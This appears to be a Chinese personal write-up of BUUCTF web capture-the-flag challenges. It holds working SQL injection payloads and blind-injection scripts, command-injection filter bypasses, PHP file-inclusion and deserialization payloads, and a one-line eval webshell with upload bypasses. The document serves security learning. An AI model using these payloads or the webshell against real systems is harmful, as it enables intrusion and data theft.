前言
閒來無事,刷一刷BUUCTF的題目,記錄一下
[極客大挑戰 2019]Havefun
[CISCN2019 華北賽區 Day2 Web1]Hack World
[極客大挑戰 2019]Secret File
[極客大挑戰 2019]Knife
[極客大挑戰 2019]LoveSQL
[極客大挑戰 2019]Http
[GXYCTF2019]Ping Ping Ping
[極客大挑戰 2019]BabySQL
[極客大挑戰 2019]BuyFlag
[ZJCTF 2019]NiZhuanSiWei
[ACTF2020 新生賽]Include
[ACTF2020 新生賽]Exec
[極客大挑戰 2019]Upload
[BJDCTF 2nd]簡單注入
[ACTF2020 新生賽]BackupFile
[極客大挑戰 2019]Havefun
點擊鏈接,進入
乍一看,也沒什麼思路,看看源代碼
在代碼最後看到了這樣一段註釋的代碼(php)
<?php
$cat = $GET['cat'] #GET傳遞參數cat並賦值給cat變量
echo $cat; #輸出cat變量的內容
if($cat == 'dog'){ #如果cat變量的內容等於dog就輸出Syc{cat_cat_cat_cat}
echo 'Syc{cat_cat_cat_cat}';
}
?>
這麼分析了一下還是很簡單的,故
payload:?cat=dog
[CISCN2019 華北賽區 Day2 Web1]Hack World
首先進入題目,看到
很明顯的提示了,flag在flag表的flag字段
這個題目我看了下源代碼,過濾了很多函數
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
但是並沒有過濾substr(),ascii(),這裏我們可以使用盲注。
而or and這些卻被過濾了,參考其他大佬的文章,這裏使用異或,雖然從來沒有接觸過,不過今天接觸了一下就記錄一下吧
手工當然非常麻煩,所以還是上腳本
import requests
flag = ''
url="http://868ea552-5ca5-4b23-9a7d-f454af6ad5e1.node3.buuoj.cn/"
for i in range(1,50): #循環50次
lmin = 33 #最小值ASCII
lmax = 127 #最大值ASCII
while lmax-lmin > 1: #While循環:當lmax-lmin的大於一時,也就是說等於一就結束循環
mid = (lmax + lmin) // 2 #中值
print("mid: ",mid)
# 假如flag第一位的ASCII是81,而中值是80,那麼從邏輯上看,就會將中值賦值給最小值
# 現在最小值就是中值,再次經歷一次循環,此時中值就是103,由於flag的ASCII是81,所以將中值賦值給最大值
# 直到最小值減最大值的絕對值大於一,輸出flag的第一位
payload = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
'''
data = {"id":payload} #這一段程序可以用下面一句話總結
res = requests.post(url,data=data)
print(payload)
if "Hello" in res.text:
'''
# 如果符合條件,將中值賦給最小值,否則賦給最大值
if requests.post(url,data={"id":payload}).text.find("Hello")>1:
lmin = mid
else:
lmax = mid
print("lmax: ",lmax)
flag += chr(lmin+1)
print(flag)
總結一下,對於SQL還是需要拓寬一下思路,這裏使用了二分法,如果不使用二分法,暴力也是可取的,只不過是時間問題。
[極客大挑戰 2019]Secret File
打開網頁
熟悉的套路,看看源碼
點擊鏈接
點擊SECRET
???我他喵還沒看到
話不多說burp抓包
可以看到有一個提示secr3t.php,訪問
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php裏
?>
這裏有幾個函數
strstr() strstr() 函數搜索字符串在另一字符串中的第一次出現。
stristr() 這個和strstr函數作用差不多,只不過對大小寫不敏感
很明顯的是一個文件包含,它過濾了一些參數,這裏我們可以使用php僞協議filter讀取flag.php文件的源代碼
故payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
複製下來進行base64轉碼就可以得到頁面的源代碼
得到flag
[極客大挑戰 2019]Knife
打開網頁
如題目所說,真的是白給的shell
這太明顯了
蟻劍上
一鍵獲取flag
cat /flag
[極客大挑戰 2019]LoveSQL
打開網頁,測試了一下發現是字符型注入
相對於來說較爲容易,那麼這裏我就直接給出payload
判斷字段
/check.php?username=admin%27order by 3%23&password=admin
判斷版本和數據庫
/check.php?username=admin%27union select 1,version(),database()%23&password=admin
判斷表名,通過limit關鍵字確定有倆個表名
/check.php?username=admin%27union select 1,unhex(Hex(cast(table_name as char))),3 from information_schema.tables where table_schema='geek'%23&password=admin
判斷字段名,username和password
/check.php?username=admin%27union select 1,unhex(Hex(cast(column_name as char))),3 from information_schema.columns where table_name='love1ysq1'%23&password=admin
爆出flag
/check.php?username=1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from geek.l0ve1ysq1 %23&password=1
[極客大挑戰 2019]Http
打開網頁
啥都沒有,看看源碼
確實隱藏的很好
訪問之後
這個很明顯,需要添加一個Referer頭
開burp
返回包
故添加
這裏就需要添加一個XFF頭
得到flag
[GXYCTF2019]Ping Ping Ping
打開網頁
很明顯提示我們得在url後面加上這麼一個玩意
而ip又很容易讓人聯想ip地址,那麼咱們就寫一個127.0.0.1
很明顯的一個命令執行
那麼就構造
payload:/?ip=127.0.0.1;ls
看到有個flag.php和index.php,可以使用cat flag.php查看
那麼這裏就構造
payload:/?ip=127.0.0.1;cat flag.php
發現空格好像被過濾了,FUZZ一下決定還是使用$IFS$1進行繞過。
先看看index.php的源代碼,構造
payload:/?ip=127.0.0.1;cat$IFS$1index.php
index.php網頁源代碼
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
故可以構造
payload:/?ip=127.0.0.1;a=f;b=g;c=la;cat$IFS$1$a$c$b.php
or
payload:/?ip=127.0.0.1;cat$IFS$1`ls`
這裏是借鑑了其他師傅的payload,也算是給自己漲漲見識吧。
[極客大挑戰 2019]BabySQL
打開網頁
想必這次肯定是有過濾的
簡單測試下
/check.php
?username=admin
&password=admin' order by 1#
發現password字段存在注入,可or沒了
嘗試是否可以雙寫繞過
/check.php
?username=admin
&password=-admin' oorrder bbyy 3--+
查看注入點
/check.php
?username=admin
&password=-admin' uunionnion seselectlect 1,2,3--+
判斷數據庫名
/check.php
?username=admin
&password=-admin' uunionnion seselectlect 1,database(),3--+
判斷表名
/check.php
?username=admin
&password=-admin' uunionnion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema = database()--+
判斷字段名
/check.php
?username=admin
&password=-admin' uunionnion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name = 'b4bsql'--+
flag
/check.php
?username=admin
&password=-admin' uunionnion seselectlect 1,group_concat(concat_ws(0x7e,username,passwoorrd)),3 frfromom b4bsql--+
[極客大挑戰 2019]BuyFlag
打開網站
也沒看到什麼有效信息,看看右上角有個menu,裏面有個payflag
老規矩。看看源代碼
POST兩個參數money和password
這個時候我們需要打開burp
發送一個POST請求給pay.php
變更請求方法
在這裏is_numeric()函數有個漏洞,使得我們可以繞過。
is_numeric()函數是判斷變量是否是數字或者數字字符串,不僅檢查10進制,16進制也可以.
is_numeric()對於空字符%00,不論%00放在數字前後,都會返回false,對於%20,只有放在數字後纔會返回false.
所以我們構造
payload:password=404%00&money=100000000
而我們觀察到
這個地方以直覺來看,肯定是要改爲1的
而返回包
這麼一看來,肯定是money參數的值太長了,這個地方得繞過一下、
這裏我們構造
payload:password=404%00&money[]=1
得到flag
[ZJCTF 2019]NiZhuanSiWei
打開網頁
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
分析
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
file_get_contents() 函數把整個文件讀入一個字符串中。
所以這個地方可以使用
php://input僞協議
或者
data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
故給出
#php://input
payload:text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
#data://
payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
base64解碼後讀取出useless.php源碼
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
#根據源代碼,進行本地序列化
<?php
class Flag{ //flag.php
public $file = 'flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password = new Flag();
$password = serialize($password);
echo $password;
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
故最終
payload:data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看頁面源代碼即可獲得flag
[ACTF2020 新生賽]Include
打開網頁
點擊鏈接
此時觀察URL
很明顯是一個文件包含,而且題目也提示是include
所以這裏我們使用php://filter僞協議讀取flag.php的源代碼
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解碼即可得flag
[ACTF2020 新生賽]Exec
打開網頁
很明顯的命令執行
payload:127.0.0.1|ls
最終
payload:127.0.0.1| cat /flag
[極客大挑戰 2019]Upload
打開網頁
很明顯是一個文件上傳
這時候我們準備好一個webshell
後綴繞過
php,php3,php4,php5,phtml.pht
一句話
GIF89a
<script language="PHP">
@eval($_POST['cmd']);
</script>
製作一個webshell.phtml進行上傳
MIME類型檢測繞過
將text/php修改爲image/jpeg
打開蟻劍連接,然後cat /flag
[BJDCTF 2nd]簡單注入
這裏貼出一個自己的腳本吧,會寫盲註腳本但是不懂怎麼快速構造語句,哭了,還得努力。
import requests
url = "http://97e723eb-aaa8-4f2a-b274-b40fbeaccf3f.node3.buuoj.cn/index.php"
data = {"username":"admin\\",
"password":""}
result = ""
for i in range(1,20):
lmax = 127
lmin = 33
while lmax-lmin > 1:
mid=(lmax+lmin) //2
payload = "or/**/if(ascii(substr(password,{0},1))>{1},1,0)#".format(i, mid)
data['password'] = payload
res = requests.post(url,data=data)
if res.text.find("stronger") > 1:
lmin = mid
else:
lmax = mid
result += chr(lmax)
print(result.replace(chr(lmin+1),''))
[ACTF2020 新生賽]BackupFile
打開網頁
找備份源碼
一開始我以爲是找www.zip和backup這些等等,沒想到最後卻是index.php.bak
下載源碼打開
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
首先需要GET傳遞一個key值並且要與123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
由於int和string類型是無法直接比較的,故php會將string類型轉換爲int類型進行比較,而轉換int類型後只保留數字也就是123,故
payload:?key=123